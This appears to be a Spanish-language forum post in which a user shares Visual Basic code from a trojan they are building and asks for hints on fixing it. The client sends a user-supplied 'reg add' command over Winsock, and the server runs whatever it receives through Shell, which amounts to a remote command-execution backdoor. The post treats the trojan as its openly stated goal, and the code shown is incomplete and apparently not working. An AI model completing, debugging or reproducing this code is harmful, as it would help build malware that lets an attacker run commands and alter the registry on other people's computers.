hola, estoy creando un troyano en visual basic y tiene un command button que tiene la opcion de agregar algo al registro, este es el code del command button:
Private Sub Command10_Click()
regedit = InputBox("Ponga la ruta del registro aqui:", "Agregar registro al regedit", "")
Label3.Caption = ("reg add " + regedit)
Winsock1.SendData Label3.Caption
End Sub
Lo q hice es q cree un inputbox q te pide el nombre del registro, pones el q vos qres y lo guarda en un label q es invisible, envia el contenido del label al servidor y el servidor hace esto:
Private Sub Text1_Change()
If Text1.Text = Label3.Caption Then
Shell Label3.Caption
End If
Lo q hace es q si text1.text es igual al contenido de label3.caption entonces q escriba shell y el contenido de label3
Lo de Winsock1.RemoteHost = Text1.Text ya lo puse asi q no se preocupen q no es eso, yo supongo q es por que queda sin comillas y tendrias que quedar Shell "el texto que quieras" y queda Shell el texto que quieras.
Si me pueden ayudar muchas gracia, pero recuerden, no me digan tal cual como es, tirenme pistas xq no quiero tener todo servido en bandeja.